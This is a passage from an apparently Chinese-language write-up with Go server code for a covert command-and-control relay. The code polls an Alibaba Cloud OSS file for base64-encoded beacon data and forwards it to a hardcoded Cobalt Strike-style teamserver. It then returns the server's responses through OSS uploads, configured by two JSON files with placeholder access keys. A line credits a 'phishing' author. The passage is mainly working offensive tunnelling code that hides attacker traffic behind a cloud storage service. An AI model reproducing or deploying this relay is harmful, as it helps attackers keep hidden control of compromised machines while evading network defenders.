}func processServerWithLock(URLname string) {// 从name中提取UUIDlog.Println("[+]", "发现客户端")// 将Base64编码的数据解码sDec, err := base64.StdEncoding.DecodeString(string(URLname))if err != nil {log.Println("[-]", sDec, "Base64解码失败:", err)return}// 连接CS服务器conn, err := net.Dial("tcp", "x.x.x.x:17777") // 使用硬编码的CS服务器地址if err != nil {log.Println("[-]", conn, "连接CS服务器失败:", err)return}defer conn.Close()// 发送解码后的数据到CS服务器_, err = conn.Write(sDec)if err != nil {log.Println("[-]", "无法向CS服务器发送数据包:", err)return}// 设置读超时_ = conn.SetReadDeadline(time.Now().Add(10 * time.Second))var buffer bytes.Buffer// 从CS服务器读取响应数据for {var buf [1]byten, err := conn.Read(buf[:])if err != nil {log.Println("[-]", "从CS服务器读取数据失败:", err)break}buffer.Write(buf[:n])// 检查是否接收完毕if strings.Contains(buffer.String(), "\r\n\r\n") {// 处理Content-Lengthif strings.Contains(buffer.String(), "Content-Length") {ContentLength := buffer.String()[strings.Index(buffer.String(), "Content-Length: ")+len("Content-Length: ") : strings.Index(buffer.String(), "Content-Length: ")+strings.Index(buffer.String()[strings.Index(buffer.String(), "Content-Length: "):], "\n")]log.Println("[+]", "数据包长度为：", strings.TrimSpace(ContentLength))// 继续读取指定长度的数据if strings.TrimSpace(ContentLength) != "0" {intContentLength, err := strconv.Atoi(strings.TrimSpace(ContentLength))if err != nil {log.Println("[-]", "Content-Length转换失败:", err)break}for i := 1; i <= intContentLength; i++ {var b [1]byten, err = conn.Read(b[:])if err != nil {log.Println("[-]", "从CS服务器读取数据失败:", err)break}buffer.Write(b[:n])}}}// 处理Chunked传输if strings.Contains(buffer.String(), "Transfer-Encoding: chunked") {for {var b [1]byten, err = conn.Read(b[:])if err != nil {log.Println("[-]", "读取Chunked数据失败:", err)break}buffer.Write(b[:n])if strings.Contains(buffer.String(), "0\r\n\r\n") {break}}}log.Println("[+]", "从CS服务器接受完毕")break}}// 将响应数据重新编码为Base64b64 := base64.StdEncoding.EncodeToString(buffer.Bytes())Send("Send-Server.json", "server.zip", b64)log.Println("[+]", "服务器数据发送完毕")log.Println("文件上传完成，暂停30秒...")time.Sleep(30 * time.Second) // Pause for 30 seconds  }func checkFileChanges(currentContent string, server_address string) {// 加锁，防止与定时任务冲突log.Println("[+]", "尝试加锁以检测文件变化")
/*	fileLock.Lock()log.Println("[+]", "文件锁定成功，开始检查文件变化")defer func() {log.Println("[+]", "解锁文件")fileLock.Unlock()}()*/log.Println(currentContent)log.Println(previousContent)
//	if strings.TrimSpace(currentContent) != strings.TrimSpace(previousContent) {log.Println("[+]", "文件内容不一致，开始处理")previousContent = currentContent      // 更新存储的文件内容log.Println("currentContent:",currentContent)log.Println("previousContent:",previousContent)processServerWithLock(currentContent) // 处理客户端文件数据
/*	} else {log.Println("[+]", "文件内容一致，无需处理")}*/
}func startServer(server_address string) {log.Println("[+]", "服务端启动成功")for {time.Sleep(6 * time.Second)// 获取 Send-Client.json 中的 URLclientURL,err := Getfile("Send-Client.json")log.Println("clientURL=>",clientURL)currentContent, err := fetchFileContent(clientURL)log.Println("currentContent=>",currentContent)if err != nil {log.Println("[-]", "获取客户端文件失败:", err)return}println("大小为%s", len(currentContent))checkFileChanges(currentContent, server_address)}
}func main() {go timedownload()server_address := "x.x.x.x:17777"startServer(server_address)}

涉及json文件
Send-Client.json

{"key":"1029/ff.txt","success_action_status":"200","Content-Disposition":"attachment;filename=policy.txt","x-oss-meta-uuid":"uuid","x-oss-meta-tag":"metadata","OSSAccessKeyId":"xxxxxxxxxxxxxxxxxxxxxx","policy":"xxxxxxxxxxxxxx==","Signature":"xxx/xxxxxxx+xxxxxx=","action":"https://xxxx.oss-cn-shanghai.aliyuncs.com","file":{"filename":"policy.txt","content_type":"text/plain","content":"test-policy"}}

Send-Server.json

{"key":"1029/ff.txt","success_action_status":"200","Content-Disposition":"attachment;filename=policy.txt","x-oss-meta-uuid":"uuid","x-oss-meta-tag":"metadata","OSSAccessKeyId":"xxxxxxxxxxxxxxxxxxxxxx","policy":"xxxxxxxxxxxxxx==","Signature":"xxx/xxxxxxx+xxxxxx=","action":"https://xxxx.oss-cn-shanghai.aliyuncs.com","file":{"filename":"policy.txt","content_type":"text/plain","content":"test-policy"}}

致谢：
主要代码提供者，钓鱼佬pant0m
其语雀链接：
https://www.yuque.com/pant0m

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